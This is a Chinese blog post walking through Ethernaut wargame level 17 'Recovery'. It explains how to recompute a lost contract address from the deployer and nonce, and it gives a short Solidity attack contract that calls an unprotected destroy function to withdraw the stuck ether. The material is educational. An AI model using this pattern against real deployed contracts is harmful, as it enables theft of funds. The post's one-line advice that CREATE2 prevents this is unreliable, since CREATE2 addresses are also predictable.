# 智能合约黑客攻击 Ethernaut:  
 17. Recovery

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-28

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个由 [OpenZeppelin](https://www.openzeppelin.com/) 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。

教程
--

*   GitHub - [攻击代码](https://github.com/6boris)
    
*   Bilibili - [视频教程](https://space.bilibili.com/3493272831920239)
    
*   YouTube - [视频教程](https://www.youtube.com/@LeekDEV)
    
*   TikTok - ….
    

题目
--

Recovery 创建 SimpleToken 合约地址忘记了，而且向里面转了`0.001` ether 个ether， 需要想办法吧ether转出来。

Hack思路
------

*   找到丢失的合约地址
    
    *   模拟计算方法,原来是标准的创建，很容模拟。
        
    *   其他技巧
        
*   调用 destroy 方法
    

攻击代码

    interface ISimpleToken {
        function destroy(address payable _to) external;
    }
    
    contract RecoveryHack {
        ISimpleToken public exploitInst;
        address public simpleToken;
    
        constructor(address _target) {
            simpleToken =
                address(uint160(uint256(keccak256(abi.encodePacked(uint8(0xd6), uint8(0x94), _target, uint8(0x01))))));
            exploitInst = ISimpleToken(simpleToken);
        }
    
        function attack() external {
            exploitInst.destroy(payable(msg.sender));
        }
    }
    

Hack案例
------

…

防范思路
----

合约中创建尽量使用 Create2，而不是使用标准的new 来创建。

标准创建

    keccak256(rlp(senderAddress, nonce))[12:31]
    

参考资料
----

*   [EIP-1014: Skinny CREATE2](https://eips.ethereum.org/EIPS/eip-1014)
    
*   [RECURSIVE-LENGTH PREFIX (RLP) SERIALIZATION](https://ethereum.org/en/developers/docs/data-structures-and-encoding/rlp/)
    
*   [Deploying Smart Contracts Using CREATE2](https://docs.openzeppelin.com/cli/2.8/deploying-with-create2#create2)
    
*   [EVM CODE](https://www.evm.codes/)
    
*   [How is the address of an Ethereum contract computed?](https://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed)

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-17-recovery)*
